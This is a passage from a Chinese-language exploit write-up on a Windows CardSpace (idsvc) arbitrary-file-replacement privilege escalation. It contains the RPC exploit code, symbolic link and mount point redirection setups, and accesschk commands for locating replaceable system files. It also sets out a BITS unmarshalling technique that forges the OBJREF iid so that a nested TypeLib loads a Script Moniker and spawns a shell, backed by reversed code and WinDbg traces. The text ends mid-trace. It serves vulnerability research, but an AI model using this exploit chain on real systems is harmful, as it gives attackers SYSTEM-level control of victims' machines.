//绑定接口 status = RpcEpResolveBinding(hBinding, DefaultIfName_v1_0_c_ifspec); if (status){ printf("RpcEpResolveBinding Failed:%dn", status); return(status); } } else { printf("Start Connecting Windows Cardspace Service Failed"); return 0; } return 0; } 通过反编译idsvc服务代码得到具体工程(见相关项目).idsvc服务绑定了全局RPC接口的全局处理程序RequestFactory.ProcessNewRequest,对于初次调用即parentRequestHandle为0的情况调用CreateClientRequestInstance类处理回调,后续操作由CreateUIAgentRequestInstance类处理 //全局RPC接口的全局处理程序 internal static int ProcessNewRequest( int parentRequestHandle, IntPtr rpcHandle, IntPtr inArgs, out IntPtr outArgs) { ... //初次调用 if (parentRequestHandle == 0) { using (UIAgentMonitorHandle monitorHandle = new UIAgentMonitorHandle()) { using (ClientRequest clientRequestInstance = RequestFactory.CreateClientRequestInstance(monitorHandle, structure.Type, rpcHandle, inStream, (Stream)outStream)) { string extendedMessage; //反射出来后执行实例的DoProcessRequest方法处理请求 num = clientRequestInstance.DoProcessRequest(out extendedMessage); RpcResponse outArgs1; RequestFactory.ConvertStreamToIntPtr(outStream, out outArgs1); //返回结果 outArgs = outArgs1.Marshal(); } } } idsvc服务会根据RpcRequest->Type字段种的类名反射出相应类处理回调,这里poc使用的是”ManageRequest”类; private static ClientRequest CreateClientRequestInstance( UIAgentMonitorHandle monitorHandle, string reqName, IntPtr rpcHandle,Stream inStream,Stream outStream) { ClientRequest clientRequest = (ClientRequest)null; lock (RequestFactory.s_createRequestSync) { RequestFactory.RequestName request = RequestFactory.s_requestMap[reqName]; if (-1 != Array.IndexOf<RequestFactory.RequestName>(RequestFactory.s_uiClientRequests, request)) { Process contextMapping = ClientUIRequest.GetContextMapping(rpcHandle, true); InfoCardTrace.ThrowInvalidArgumentConditional(null == contextMapping, nameof(rpcHandle)); WindowsIdentity executionIdentity = NativeMcppMethods.CreateServiceExecutionIdentity(contextMapping); InfoCardUIAgent agent = monitorHandle.CreateAgent(contextMapping.Id, executionIdentity, tSSession); switch (RequestFactory.s_requestMap[reqName]) { //这里使用的是"ManageRequest"类; case RequestFactory.RequestName.ManageRequest: clientRequest = (ClientRequest)new ManageRequest(contextMapping, executionIdentity, agent, rpcHandle, inStream, outStream); break; } } 触发ManageRequest实例的DoProcessRequest函数处理请求,省略中间步骤,最后调用StoreConnection.CreateDefaultDataSources()来到了利用点. 在与服务交互过程中服务会模拟用户(Impersonate Client)并获取用户配置文件,默认为用户环境变量%APPDATA%目录下指定配置文件,对于IIS用户特殊情况默认不加载配置文件需开启如下配置才可以实现,点击应用程序池->高级设置. //构造函数   protected StoreConnection(WindowsIdentity identity)     { //这里的identity也就客户端身份       this.m_identity = new WindowsIdentity(identity.Token);      //获取用户环境变量的%APPDATA%       this.m_path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Microsoft\\CardSpace\\");       this.m_localSource = this.m_path + "CardSpaceSP2.db";          }      protected virtual void CreateDefaultDataSources(Hashtable list)    {       string str = this.m_path + "CardSpace.db"; //进入using块使用的idsvc服务身份,离开块后继续Impersonate Client       using (new SystemIdentity(true))       { ....         if (File.Exists(str)) { //替换文件,内部实现就是File.MoveTo等函数           this.AtomicFileCopy(str, this.m_localSource); }        } ...         protected void AtomicFileCopy(string source, string destination)     {       if (!File.Exists(source))         return; //加上.atomic后缀,移动文件       File.Copy(source, source + ".atomic", true);       FileInfo fileInfo = new FileInfo(source + ".atomic");       if (fileInfo.Length == 0L)         return;       fileInfo.MoveTo(destination);     } idsvc服务通过new SystemIdentity(true)切换回idsvc服务身份,调用AtomicFileCopy移动用户配置文件.在默认配置下%APPDATA%目录下的文件在可由当前用户可完全控制.当高权限进程对低权限进程可控制文件进行删除,移动,复制,设置属性等操作时,低权限进程均可利用此特权做一些其他操作.James Forshaw@tiraniddo为我们提供了一套[开源工具](https://github.com/googleprojectzero/symboliclink-testing-tools),他在NTFS文件系统和Windows内部的开创性工作完成了所有繁重工作,实现了几种滥用Windows文件系统和路径解析功能的技术和利用方法.NTFS文件系统允许将一个用户控制目录挂载到另一个用户控制目录(挂载点Volume Mount Points和交叉点Junction Points),也允许通过符号链接Symbolic Links(NTFS重解析点Reparse Points)将一个目标链接至另一个,和硬链接(Hard Link)将一个用户可控制文件链接至另一个可读文件,以上方式均可导致恶意攻击者滥用高特权进程执行文件操作.对于poc中的利用,可使用如下两种方式对源文件和目标文件创建相应符号链接,第一种方式为挂载点和硬链接,这种方式只适用于win7,硬链接已被微软缓解,具体原因见[分析](http://whereisk0shl.top.park.bitcron.com/post/2019-06-08),第二种方式仍然可在win10实现利用,原理是通过任意用户可写对象目录RPC Control链接至指定目录,然后继续链接RPC Control目录下文件至指定文件,具体方式如下,关于符号链接的相关可以参考[上篇](https://www.4hou.com/posts/qV8D)和[下篇](https://www.4hou.com/posts/rE7B),这里不再赘述 第一种方式, 挂载点和硬链接 C:\workspace\mountpoint -> C:\Users\Username\AppData\Local\Microsoft\CardSpace 源文件(挂载点) = C:\workspace\mountpoint\CardSpace.db(Fake.dll) -> C:\Users\Username\AppData\Local\Microsoft\CardSpace\CardSpace.db 目标文件(硬链接) =C:\Users\Username\AppData\Local\Microsoft\CardSpace\CardSpace.db.atomic -> C:\Evil.dll 第二种方式,符号链接至 \RPC Control C:\Users\Username\AppData\Local\Microsoft\CardSpace -> \RPC Control 源文件 = C:\Users\Username\AppData\Local\Microsoft\CardSpace\CardSpace.db ->\RPC Control\CardSpace.db 目标文件 =C:\Users\Username\AppData\Local\Microsoft\CardSpace\CardSpace.db.atomic -> \RPC Control\CardSpace.db.atomic 源文件 = \RPC Control\CardSpace.db ->C:\Fake.dll 目标文件 = \RPC Control\CardSpace.db.atomic -> C:\Evil.dll 从Process Monitor看出idsvc服务移动文件时并没使用模拟(Impersonate)用户身份操作,也没有判断文件的符号链接属性,就导致任意文件替换权限提升漏洞,以下是漏洞利用关键代码 BOOL Exploit() { RpcRequest* req = (RpcRequest*)CoTaskMemAlloc(sizeof(RpcRequest)); req->Type = L"ManageRequest"; req->Length = 0; req->Data = 0; RpcResponse* rep = (RpcResponse*)CoTaskMemAlloc(sizeof(RpcResponse)); UINT32* ctx = 0; long ret = Proc0_RPCClientBindToService(hBinding, (void**)&ctx); printf("Proc0_RPCClientBindToService :%d\n", ret); ret = Proc2_RPCDispatchClientUIRequest((void**)&ctx, req, &rep); printf("Proc2_RPCDispatchClientUIRequest :%08x\n", ret); return 0; } ### 漏洞利用分析 笔者设计了一种新的基于任意文件替换的提权利用方式,原型来自[CVE-2017-0213](https://www.exploit-db.com/exploits/42020/),这种方式适用于Windows7至Windows10所有版本操作系统,但前提是要被替换的文件不是TrustedInstaller控制权限,才可以触发漏洞,原因是TrustedInstaller权限高于其他权限,如果直接执行替换操作,即使是以System权限操作结果都是拒绝访问,一般只有管理员权限或者System权限的文件才符合条件.笔者制作了一个工具用于搜索指定目录下可替换文件,在相关项目列表中提供,也可以使用微软[SysinternalsSuite](https://docs.microsoft.com/zh-cn/sysinternals/downloads/sysinternals-suite)中的accesschk工具,启动命令行如下,最后一个参数为指定目录文件 //[SysinternalsSuite]工具模式,最后一个参数为指定目录文件 accesschk.exe -s -w "nt authority\system" c:\windows\system32\*.dll //笔者工具中的查找模式,参数为目标路径和后缀名 MyComEop.exe v [find path] [extension] //深度查找模式,参数为目标路径和后缀名 MyComEop.exe d [find path] [extension] 对于Windows7系统笔者使用以上工具找到了一些系统自带的TypeLib(类型库)文件可以实现利用,对于Windows10等高版本系统却没有发现,但是对于安装了第三方软件注册的Com组件的一般都存在类似TypeLib文件符合条件,所以仍然具有利用价值.找到TypeLib后用[Windows SDK](https://developer.microsoft.com/zh-cn/windows/downloads/windows-10-sdk/)中的OleView工具打开,选择任意一个Interface分别提取出这3个参数IID_Interface,InterfaceName,TypeLib_GUID就可以使用利用工具中的高级模式实现利用,这里笔者使用的是这个Windows7系统一个自带的TypeLib进行演示. C:\Windows\Microsoft.NET\Framework\v4.0.30319\System.EnterpriseServices.tlb 漏洞利用的原理来自Background Intelligent Transfer Service服务(简称bits),调用bits服务的公开api中的IBackgroundCopyJob->SetNotifyInterface接口允许传递任意远程com对象,如果这个对象继承了IMarshal接口,bits服务会根据接口方法GetUnmarshalClass中传入的CLSID自定义Unmarshal反序列化.这里笔者使用的标准Unmarshal方式即CStdMarshal::UnmarshalInterface触发反序列化,而导致反序列化的数据来自MarshalStream中的OBJREF结构,这个结构格式如下,具体可参考[微软官方文档](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dcom/fe6c5e46-adf8-4e34-a8de-3f756c875f31?redirectedfrom=MSDN)和我的[另一篇文章](https://bbs.pediy.com/thread-228829.htm) typedef LUID OXID; typedef LUID OID; typedef GUID IPID; typedef struct tagDUALSTRINGARRAY { unsigned short wNumEntries; // Number of entries in array. unsigned short wSecurityOffset; // Offset of security info. unsigned short aStringArray[]; } DUALSTRINGARRAY; typedef struct tagSTDOBJREF { DWORD flags; DWORD cPublicRefs; //对象所处的套间的标识符,在套间建立时会为套间建立一个OXID,叫做对象引出标识符 OXID oxid; //存根管理器的标识符 OID oid; //接口存根标识符,用来唯一的标识套间中的一个接口指针,这跟接口的IID是不同的,IID是用来标识 IPID ipid; } STDOBJREF; typedef struct tagOBJREF { unsigned long signature;//MEOW unsigned long flags; GUID iid; union { struct { STDOBJREF std; DUALSTRINGARRAY saResAddr; } u_standard; struct { STDOBJREF std; CLSID clsid; DUALSTRINGARRAY saResAddr; } u_handler; struct { CLSID clsid; unsigned long cbExtension; unsigned long size; ULONGLONG pData; } u_custom; } u_objref; } OBJREF; 这里flags为OBJREF_STANDARD(0x01),表示使用标准Unmarshal方式(CStdMarshal),对应的下方联合体的是STDOBJREF,至于其他flags类型均有自定义的unmarshal方式,不在本文的讨论范围,请读者自行研究.而最终导致实现漏洞利用的是其中的iid字段,通过逆向研究发现替换这个iid(也就是oleview中找到的接口IID_Interface)就可以触发bits服务加载这个iid对应com组件对象的TypeLib(类型库),也就是说任意TypeLib反序列化.最终替换TypeLib文件构造为嵌套的TypeLib结构就可以运行Script Moniker来GetShell.这里附上漏洞利用关键代码: virtual HRESULT STDMETHODCALLTYPE MarshalInterface( /* [annotation][unique][in] */ _In_ IStream *pStm, /* [annotation][in] */ _In_ REFIID riid, /* [annotation][unique][in] */ _In_opt_ void *pv, /* [annotation][in] */ _In_ DWORD dwDestContext, /* [annotation][unique][in] */ _Reserved_ void *pvDestContext, /* [annotation][in] */ _In_ DWORD mshlflags) { IStorage* stg; ILockBytes* lb; CreateILockBytesOnHGlobal(nullptr, TRUE, &lb); StgCreateDocfileOnILockBytes(lb, STGM_CREATE | STGM_READWRITE | STGM_SHARE_EXCLUSIVE, 0, &stg); ULONG cbRead; ULONG cbWrite; IStreamPtr pStream = nullptr; HRESULT hr = CreateStreamOnHGlobal(0, TRUE, &pStream); LARGE_INTEGER dlibMove = { 0 }; ULARGE_INTEGER plibNewPosition; hr = CoMarshalInterface(pStream, IID_IUnknown, static_cast<IUnknownPtr>(stg), dwDestContext, pvDestContext, mshlflags); OBJREF* headerObjRef = (OBJREF*)malloc(1000); hr = pStream->Seek(dlibMove, STREAM_SEEK_SET, &plibNewPosition); hr = pStream->Read(headerObjRef, 1000, &cbRead); printf("[+]MarshalInterface: %ls %pn", IIDToBSTR(IID_InterfaceFake).GetBSTR(), this); //IID_InterfaceFake就是找到的接口IID_Interface headerObjRef->iid = IID_InterfaceFake; hr = pStm->Write(headerObjRef, cbRead, &cbWrite); return hr; } 从调试结果可以看到CStdMarshal::UnmarshalInterface最终调用了LoadTypeLibEx,传入iid是IID_InterfaceFake(来自OBJREF),第二次调用LoadTypeLibEx加载了Script Moniker.证明确实可以HOOK高权限进程反序列化加载任意TypeLib 1: kd> bp OLEAUT32!GetTypeInfoOfIID Breakpoint 0 hit OLEAUT32!GetTypeInfoOfIID: 0033:000007fe`febf0140 4533c0 xor r8d,r8d //继续调试.... 0: kd> p OLEAUT32!GetTypeInfoOfIIDFwd+0x19: 0033:000007fe`febefd09 4889842480030000 mov qword ptr [rsp+380h],rax 0: kd> r rax=0000113b9b912356 rbx=0000000000000000 rcx=00000000059f912c rdx=00000000033ae060 rsi=00000000059f9150 rdi=00000000059f9148 rip=000007fefebefd09 rsp=00000000033adc80 rbp=0000000000000002 r8=0000000000000000 r9=0000000000000000 r10=0000000000000000 r11=00000000033ae088 r12=00000000059f912c r13=0000000000000001 0: kd> dt _GUID @rcx //查看这个参数 ole32!_GUID {55e3ea25-55cb-4650-8887-18e8d30bb4bc}=传入iid是IID_InterfaceFake //下这个断点 1: kd> bp OLEAUT32!LoadTypeLibEx 1: kd> g Breakpoint 3 hit OLEAUT32!LoadTypeLibEx: 0033:000007fe`feb6a550 fff3 push rbx //第一次加载的是目标TypeLib 1: kd> dc @rcx L50 00000000`02c8e070 003a0043 0057005c 006e0069 006f0064 C.:..W.i.n.d.o. 00000000`02c8e080 00730077 004d005c 00630069 006f0072 w.s..M.i.c.r.o. 00000000`02c8e090 006f0073 00740066 004e002e 00540045 s.o.f.t...N.E.T. 00000000`02c8e0a0 0046005c 00610072 0065006d 006f0077 .F.r.a.m.e.w.o. 00000000`02c8e0b0 006b0072 0076005c 002e0034 002e0030 r.k..v.4...0... 00000000`02c8e0c0 00300033 00310033 005c0039 00790053 3.0.3.1.9..S.y. 00000000`02c8e0d0 00740073 006d0065 0045002e 0074006e s.t.e.m...E.n.t. 00000000`02c8e0e0 00720065 00720070 00730069 00530065 e.r.p.r.i.s.e.S. 00000000`02c8e0f0 00720065 00690076 00650063 002e0073 e.r.v.i.c.e.s... 00000000`02c8e100 006c0074 00000062 001e6e38 00000000 t.l.b...8n...... 00000000`02c8e110 059f92e0 00000000 02c8e180 00000000 ................ 0: kd> kv # Child-SP RetAddr : Args to Child : Call Site 00 00000000`0391d828 000007fe`febf00eb : 00000000`00000ed8 00000000`00000000 00000000`0391d9a0 00000000`0391d870 : OLEAUT32!LoadTypeLibEx 01 00000000`0391d830 000007fe`febf0f4f : 000007fe`ff6c71c0 000007fe`ff661889 00000000`0371f310 00000000`00000000 : OLEAUT32!GetTypeInfoOfIIDFwd+0x3fb 02 00000000`0391dbe0 000007fe`febf1149 : 00000000`00284210 00000000`0371f310 00000000`00284240 00000000`00284248 : OLEAUT32!FilterReferencedTypeInfos+0x3df 03 00000000`0391dc40 000007fe`ff51e46a : 00000000`00000000 00000000`03715ea0 00000000`00284210 00000000`00284210 : OLEAUT32!CProxyWrapper::Connect+0x79 04 00000000`0391dc90 000007fe`ff51e233 : 00000000`0371f310 00000000`00000000 00000000`0378aaf8 00000000`00284210 : ole32!CStdMarshal::ConnectCliIPIDEntry+0x1ca [d:w7rtmcomole32comdcomremmarshal.cxx @ 2368] 05 00000000`0391dd00 000007fe`ff51e114 : 00000000`0391df50 00000000`0391e618 00000000`0378aaf8 00000000`00000000 : ole32!CStdMarshal::MakeCliIPIDEntry+0xc3 [d:w7rtmcomole32comdcomremmarshal.cxx @ 2189] 06 00000000`0391dd90 000007fe`ff5211ec : 00000000`03715ea0 00000000`0391df68 00000000`0391e618 0000113b`9a2802cf : ole32!CStdMarshal::UnmarshalIPID+0x70 [d:w7rtmcomole32comdcomremmarshal.cxx @ 1734] 07 00000000`0391dde0 000007fe`ff5210b7 : 00000000`00000000 00000000`059e7610 00000000`00000000 00000000`00000000 : ole32!CStdMarshal::UnmarshalObjRef+0x10c [d:w7rtmcomole32comdcomremmarshal.cxx @ 1618] 08 00000000`0391de80 000007fe`ff52106c : 00000000`0378aaf8 00000000`0391df50 00000000`00000001 00000000`037daf90 : ole32!UnmarshalSwitch+0x2b [d:w7rtmcomole32comdcomremmarshal.cxx @ 1279] 09 00000000`0391deb0 000007fe`ff64a0c5 : 00000000`0378aaf8 00000000`00000000 00000000`0365efb0 00000018`00000000 : ole32!UnmarshalObjRef+0xc0 [d:w7rtmcomole32comdcomremmarshal.cxx @ 1406] //使用的是标准反序列化模式 0a 00000000`0391df30 000007fe`ff5232a6 : 00000000`037daf90 000007fe`fee64366 00000000`001cf840 000007fe`fedec704 : ole32!CStdMarshal::UnmarshalInterface+0x45 [d:w7rtmcomole32comdcomremmarshal.cxx @ 1238] 0b 00000000`0391dfd0 000007fe`ff523542 : 000007fe`00000002 00000000`0391e340 00000000`0391db00 00000000`00000000 : ole32!CoUnmarshalInterface+0x19c [d:w7rtmcomole32comdcomremcoapi.cxx @ 957] 0c 00000000`0391e0b0 000007fe`fedf523e : 00000000`0363fdd4 00000000`0391e340 000007fe`00000001 00000000`0029f880 : ole32!NdrExtInterfacePointerUnmarshall+0x162 [d:w7rtmcomrpcndroleoleaux.cxx @ 1354] 0d 00000000`0391e120 000007fe`fedff6cf : 000007fe`00000000 00000000`0391e4f0 00000000`0391e618 00000000`00000000 : RPCRT4!IUnknown_AddRef_Proxy+0x19e 0e 00000000`0391e190 000007fe`fede6e1c : 00000000`0391e340 000007fe`fede78d7 00000000`0391e4f0 00000000`0023e760 : RPCRT4!NdrPointerUnmarshall+0x2f 0f 00000000`0391e1d0 000007fe`fede68e3 : 00000000`00000020 000007fe`faac1342 00000000`0391e618 000007fe`faac1af0 : RPCRT4!NdrStubCall2+0x73c 10 00000000`0391e240 000007fe`fede7967 : 00000000`0391e9b0 000007fe`fb63a250 00000000`0391e9b0 000007fe`fb63a250 : RPCRT4!NdrStubCall2+0x203 11 00000000`0391e860 000007fe`ff660883 : 00000000`00000000 00000000`00000000 00000000`0391ec60 00000000`03715ff0 : RPCRT4!I_RpcGetBuffer+0xc7 12 00000000`0391e8c0 000007fe`ff660ccd : 00000000`00000000 00000000`00000000 000007fe`fb63a201 00000000`00000000 : ole32!CStdStubBuffer_Invoke+0x5b [d:w7rtmcomrpcndrolestub.cxx @ 1586] 13 00000000`0391e8f0 000007fe`ff660c43 : 00000000`0023e760 00000000`0378a994 00000000`036ce6a0 000007fe`ec046040 : ole32!SyncStubInvoke+0x5d [d:w7rtmcomole32comdcomremchannelb.cxx @ 1187] 14 00000000`0391e960 000007fe`ff51a4f0 : 00000000`0023e760 00000000`037daf90 00000000`0023e760 00000000`0391ecd0 : ole32!StubInvoke+0xdb [d:w7rtmcomole32comdcomremchannelb.cxx @ 1396] 15 00000000`0391ea10 000007fe`ff6614d6 : 00000000`00000000 00000018`00000010 00000000`037958a0 00000000`03715ff0 : ole32!CCtxComChnl::ContextInvoke+0x190 [d:w7rtmcomole32comdcomremctxchnl.cxx @ 1262] 16 00000000`0391eba0 000007fe`ff66122b : 00000000`d0908070 00000000`037daf90 00000000`01d93e30 00000000`03769be0 : ole32!AppInvoke+0xc2 [d:w7rtmcomole32comdcomremchannelb.cxx @ 1086] 17 00000000`0391ec10 000007fe`ff65fd6d : 00000000`037daf90 00000000`037daf90 00000000`03715ff0 00000000`00070005 : ole32!ComInvokeWithLockAndIPID+0x52b [d:w7rtmcomole32comdcomremchannelb.cxx @ 1727] 18 00000000`0391eda0 000007fe`fede50f4 : 000007fe`ff6c9930 00000000`00000000 00000000`037241b0 000007fe`fedde8f7 : ole32!ThreadInvoke+0x30d [d:w7rtmcomole32comdcomremchannelb.cxx @ 4751] 19 00000000`0391ee40 000007fe`fede4f56 : 000007fe`ff670ab0 00000000`00000001 00000000`0391f0b0 000007fe`ff4f8ffc : RPCRT4!NdrServerCall2+0x1d84 1a 00000000`0391ee70 000007fe`fede775b : 00000000`0378a970 00000000`00000000 00000000`0391f194 00000000`0378a970 : RPCRT4!NdrServerCall2+0x1be6 1b 00000000`0391ef90 000007fe`fede769b : 00000000`00000000 00000000`0391f0b0 00000000`0391f0b0 00000000`037241b0 : RPCRT4!I_RpcBindingInqTransportType+0x32b 1c 00000000`0391efd0 000007fe`fede7632 : 00000000`0378a970 00000000`0378a970 00000000`0378a970 000007fe`fede6140 : RPCRT4!I_RpcBindingInqTransportType+0x26b 1d 00000000`0391f050 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : RPCRT4!I_RpcBindingInqTransportType+0x202 //第二次加载的就是嵌套的TypeLib对应Script Moniker的script:xxx.sct脚本文件 1: kd> g Breakpoint 3 hit OLEAUT32!LoadTypeLibEx: 0033:000007fe`feb6a550 fff3 push rbx 1: kd> dc @rcx L50 00000000`02c8dd70 00630073 00690072 00740070 0043003a s.c.r.i.p.t.:.C. 00000000`02c8dd80 005c003a 006c0064 0074005c 00730065 :..d.l..t.e.s. 00000000`02c8dd90 005c0074 006b006f 0072005c 006e0075 t..o.k..r.u.n. 00000000`02c8dda0 0073002e 00740063 01e50000 00000000 ..s.c.t......... 00000000`02c8ddb0 037efc30 00000000 feb6733c 000007fe 0.~.....<s...... Com组件服务器端所在的套间(Apartment)维护着Com接口存根(stub)对象列表,每个存根对象都维护着对Com对象的一个引用,根据这个Com对象接口的iid信息在注册表的HKEY_CLASSES_ROOT/Interface下查找子键iid的ProxyStubClsid32子健下的默认值,这个默认值是一个存根对象的CLSID。然后Com根据CLSID调用CoGetClassObject函数请求代理类厂接口IPSFactoryBuffer->CreateStub建立一个接口存根对象.相应的在Com组件的客户端套间上都维护着代理(proxy)对象列表,在对OBJREF进行Unmarshal时搜索匹配存根对象的[oxid,oid,ipid]调用IPSFactoryBuffer->CreateProxy创建对应代理,通过接口IDL文件中定义函数申明构建出物理栈,然后再通过RPCRT4.dll中实现IRpcChannel通道调用真实的接口函数与存根进行通信,从而实现Com远程过程(RPC)调用. 代理的创建IPSFactoryBuffer->CreateProxy默认被封装成CreateProxyFromTypeInfo函数实现,这个函数的调用过程和TypeLib中的TypeInfo的相关,原因是其中TypeInfo在TypeLib中定义了接口的相关类型信息.因此这个过程中实际上必定需要调用LoadTypeLib函数来加载TypeLib和其中的TypeInfo,这也是触发漏洞最关键的一点.通过逆向分析LoadTypeLib函数调用过程,发现其具体是通过操作注册表实现.对于每个接口信息位于注册表HKEY_CLASSES_ROOTInterface[接口IID],其中子键TypeLib对应接口的TypeLib_GUID,接下来对应的TypeLib位于HKEY_CLASSES_ROOTTypeLib[TypeLib_GUID],其中对应版本的子键值就是TypeLib路径.由于一个接口可能存在多个对应版本的TypeLib子键,而反序列化时默认只加载其中一个.笔者通过逆向还原oleaut32.dll中的实现,在漏洞利用工具中实现自动匹配对应TypeLib文件并利用,具体逆向结果如下: wchar_t *__stdcall GetTypeInfoOfIIDFwd(GUID *rguid, struct ITypeInfo **a2, int a3) { wchar_t *result; // eax unsigned __int16 versionLookUp; // bx unsigned __int16 versionLookUpNext; // ax DWORD v6; // ebx LSTATUS i; // eax HRESULT v8; // eax wchar_t *v9; // ebx HRESULT v10; // eax int foundDotted; // [esp+8h] [ebp-31Ch] GUID *v12; // [esp+Ch] [ebp-318h] struct ITypeInfo **v13; // [esp+10h] [ebp-314h] struct ITypeInfo *v14; // [esp+14h] [ebp-310h] wchar_t *EndPtr; // [esp+18h] [ebp-30Ch] LONG cbData; // [esp+1Ch] [ebp-308h] ITypeLib *pptlib; // [esp+20h] [ebp-304h] unsigned __int16 SubVersion[2]; // [esp+24h] [ebp-300h] DWORD dwIndex; // [esp+28h] [ebp-2FCh] unsigned __int16 Version[2]; // [esp+2Ch] [ebp-2F8h] HKEY v21; // [esp+30h] [ebp-2F4h] HKEY v22; // [esp+34h] [ebp-2F0h] HKEY phkResult; // [esp+38h] [ebp-2ECh] HKEY hKey; // [esp+3Ch] [ebp-2E8h] CLSID pclsid; // [esp+40h] [ebp-2E4h] WCHAR Data; // [esp+50h] [ebp-2D4h] wchar_t Dst; // [esp+258h] [ebp-CCh] unsigned __int16 tempData; // [esp+268h] [ebp-BCh] OLECHAR sz; // [esp+26Ch] [ebp-B8h] wchar_t SubKey; // [esp+2E8h] [ebp-3Ch] WCHAR Name; // [esp+304h] [ebp-20h] v12 = rguid; v13 = a2; if ( a3 >= 16 ) return (wchar_t *)-2147319779; result = (wchar_t *)MapIIDToFusionTypeInfo(rguid, a2); if ( (signed int)result < 0 ) return result; if ( result != (wchar_t *)1 ) goto LABEL_57; hKey = (HKEY)-1; phkResult = (HKEY)-1; v22 = (HKEY)-1; v21 = (HKEY)-1; pptlib = 0; //先找Interface wcscpy_s(&Dst, 0x47u, L"Interface\"); StringFromGUID2(rguid, &sz, 39); //如果存在Forward wcscat_s(&Dst, 0x47u, L"\Forward"); cbData = 520; if ( QueryClassesRootValueW(&Dst, &Data, &cbData) || CLSIDFromString(&Data, &pclsid) || GetTypeInfoOfIIDFwd(&pclsid, a2, a3 + 1) ) { *(_DWORD *)SubVersion = 0; *(_DWORD *)Version = 0; //找里面的TypeLib wcscpy_s(&Dst, 0x47u, L"TypeLib\"); result = SzLibIdOfIID(rguid, &tempData, 40, Version, SubVersion, &foundDotted); if ( (signed int)result >= 0 ) { //打开ClassesRoot根节点 if ( OpenClassesRootKeyW(&Dst, &hKey) ) { result = (wchar_t *)-2147319779; } else { SubKey = 0; //查找子健,枚举版本号 for ( dwIndex = 0; !RegEnumKeyW(hKey, dwIndex, &Name, 0xDu); ++dwIndex ) { versionLookUp = _wcstoul(&Name, &EndPtr, 16); if ( *EndPtr == '.' ) { if ( (versionLookUpNext = _wcstoul(EndPtr + 1, 0, 16), !foundDotted) && versionLookUp > Version[0] || versionLookUp == Version[0] && versionLookUpNext >= SubVersion[0] ) { *(_DWORD *)SubVersion = versionLookUpNext; *(_DWORD *)Version = versionLookUp; wcscpy_s(&SubKey, 0xDu, &Name); } } } if ( !RegOpenKeyW(hKey, &SubKey, &phkResult) ) { if ( phkResult == hKey ) hKey = (HKEY)-1; v6 = 0; //继续枚举子健 for ( i = RegEnumKeyW(phkResult, 0, &Dst, 0x10u); !i; i = RegEnumKeyW(phkResult, v6, &Dst, 0x10u) ) { if ( FIsLCID(&Dst) ) { if ( RegOpenKeyW(phkResult, &Dst, &v22) || RegOpenKeyW(v22, L"win32", &v21) && (RegEnumKeyW(v22, 0, &Dst, 6u) || RegOpenKeyW(v22, &Dst, &v21)) ) { break; } cbData = 520; if ( RegQueryValueW(v21, 0, &Data, &cbData) ) break; //找到后就加载 v8 = LoadTypeLib(&Data, &pptlib); v9 = (wchar_t *)v8; if ( !v8 || v8 >= 0 ) { //根据GUID查找TypeInfo v10 = pptlib->lpVtbl->GetTypeInfoOfGuid(pptlib, v12, &v14); v9 = (wchar_t *)v10; if ( !v10 || v10 >= 0 ) { *v13 = v14; v9 = 0; } } goto LABEL_26; } ++v6; } } .... 每个TypeLib可以是嵌套的TypeLib结构,而加载嵌套的TypeLib也会递归调用LoadTypeLibEx,具体构造方法参考利用工具代码和[微软官方API](https://docs.microsoft.com/en-us/windows/win32/api/oaidl/nn-oaidl-itypelib2).这样就可以在递归加载TypeLib时指定一个不存在的TypeLib文件路径,就可以被当作一个[Moniker](https://docs.microsoft.com/en-us/windows/win32/api/objidl/nn-objidl-imoniker)来解析,通过Moniker的DisplayName.这里用的是Script Monike,即script:xxx.sct脚本文件,最终Script Moniker被解析触发BindToObject,以Unmarshal反序列化调用者权限启动Shell,原理如下: HRESULT __stdcall LoadTypeLibEx(LPCOLESTR szFile, REGKIND regkind, ITypeLib **pptlib) { ... ptlib = OLE_TYPEMGR::LookupTypeLib(g_poletmgr, szFile, syskind); if ( ptlib ) goto LABEL_31; //Typelib文件路径不存在时 if ( FindTypeLib(szFileNameRef, (LONG)&szFullPath, v5) ) { if ( CreateBindCtx(1u, &ppbc) ) goto LABEL_67; v8 = SysAllocString(szFileNameRef); if ( v8 ) { //可以解析成解析Script Moniker stat = MkParseDisplayName(ppbc, v8, &pchEaten, &ppmk); SysFreeString(v8); if ( !stat ) { //启动shell stat = ppmk->lpVtbl->BindToObject(ppmk, ppbc, 0, &IID_ITypeLib, (void **)&ptlib); ppmk->lpVtbl->Release(ppmk); } } ... 对比Process Monitor,以下是Script Moniker最终创建进程的调试结果 Breakpoint 0 hit kernel32!CreateProcessW: 0033:00000000`77741bb0 4883ec68 sub rsp,68h //启动的就是exp 0: kd> dc @rdx 00000000`0378b9f8 00430022 002f003a 006c0064 0074002f ".C.:./.d.l./.t. 00000000`0378ba08 00730065 002f0074 006b006f 004d002f e.s.t./.o.k./.M. 00000000`0378ba18 00430079 006d006f 006f0045 002e0070 y.C.o.m.E.o.p... 00000000`0378ba28 00780065 00220065 00310020 00000000 e.x.e.". .1..... 00000000`0378ba38 00000000 00000000 00000000 00000000 ................ 00000000`0378ba48 00000000 00000000 00000000 00000000 ................ 0: kd> kv # Child-SP RetAddr : Args to Child : Call Site 00 00000000`0288c3e8 000007fe`ec9ec0dd : 00000000`00000000 000007fe`ec8e1982 00001e9f`9ac2b3f6 00000000`00000000 : kernel32!CreateProcessW 01 00000000`0288c3f0 000007fe`ec9ec55f : 00000000`00000000 00000000`0288c5c0 00000000`0288c788 00000000`0288c5c0 : wshom!CWshShell::CreateShortcut+0x30d 02 00000000`0288c4e0 000007fe`feb616d0 : 00000000`0288c7a0 00000000`002fd46c 00000000`0378b9f8 00000000`00000000 : wshom!CWshShell::Exec+0x2b3 03 00000000`0288c5a0 000007fe`feb624d2 : 00000000`00000104 000007fe`fec008e0 00000000`00000fff 000007fe`feb623b8 : OLEAUT32!DispCallFuncAmd64+0x60 04 00000000`0288c600 000007fe`feb61de1 : 00000000`0366c2b8 00000000`037cd3f8 00000000`037806c0 00000000`0288c768 : OLEAUT32!DispCallFunc+0x268 05 00000000`0288c6b0 000007fe`ec9e12d5 : 00000000`002f60d0 000007fe`feb6150c 00000000`03796ee0 00000000`00000002 : OLEAUT32!CTypeInfo2::Invoke+0x39a 06 00000000`0288ca20 000007fe`ec9e121d : 00000000`00000bc4 000007fe`ebf5d79e 00000000`00000000 000007fe`ff8724c8 : wshom!CDispatch::Invoke+0xad 07 00000000`0288ca80 000007fe`ebf7ad24 : 